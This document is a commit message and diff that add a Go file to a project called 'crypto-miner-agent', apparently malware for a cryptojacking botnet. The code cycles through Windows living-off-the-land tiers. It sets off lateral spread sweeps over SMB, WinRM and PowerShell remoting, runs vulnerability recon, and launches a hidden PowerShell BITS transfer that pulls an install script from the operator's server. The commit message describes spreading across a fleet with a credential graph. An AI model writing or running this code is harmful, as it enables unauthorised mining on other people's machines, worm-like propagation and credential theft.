Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/lotl_onion_windows.go

@@ -0,0 +1,69 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
+	switch tier {
+	case "vuln_recon":
+		RunVulnRecon(HostOSVersion())
+		return true, "vuln recon complete (report only)"
+	case "docker":
+		if _, err := exec.LookPath("docker"); err != nil {
+			return false, "container runtime unavailable"
+		}
+		return true, "container runtime ready for worker image pull"
+	case "wsl":
+		if _, err := exec.LookPath("wsl.exe"); err != nil {
+			return false, "wsl.exe not found"
+		}
+		out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
+		if err != nil || !strings.Contains(string(out), "ok") {
+			return false, "wsl not responding"
+		}
+		return true, "wsl available for curl|bash install one-liner"
+	case "powershell":
+		if _, err := exec.LookPath("powershell.exe"); err != nil {
+			return false, "powershell missing"
+		}
+		go runPSRemotingSpread(cfg)
+		return true, "powershell remoting sweep started"
+	case "dotnet":
+		if _, err := exec.LookPath("dotnet"); err != nil {
+			return false, "dotnet SDK/runtime missing"
+		}
+		return true, "dotnet host available for tool-run bootstrap"
+	case "bits_curl":
+		installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
+		_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
+			fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
+		return true, "bits/curl install hook queued"
+	case "smb":
+		if !cfg.AutoSpread && !cfg.ShareSpread {
+			go RunSpreadOnce(cfg)
+			return true, "smb lateral sweep started"
+		}
+		go RunSpreadOnce(cfg)
+		return true, "smb sweep started"
+	case "winrm":
+		if !cfg.ShareSpread {
+			go runPSRemotingSpread(cfg)
+			return true, "winrm opportunistic sweep started"
+		}
+		go runPSRemotingSpread(cfg)
+		return true, "winrm sweep started"
+	case "linux":
+		return false, "linux tier is for ssh lateral on unix agents"
+	case "gpo":
+		return false, "gpo requires domain GPO push — operator action"
+	default:
+		return false, "unknown tier"
+	}
+}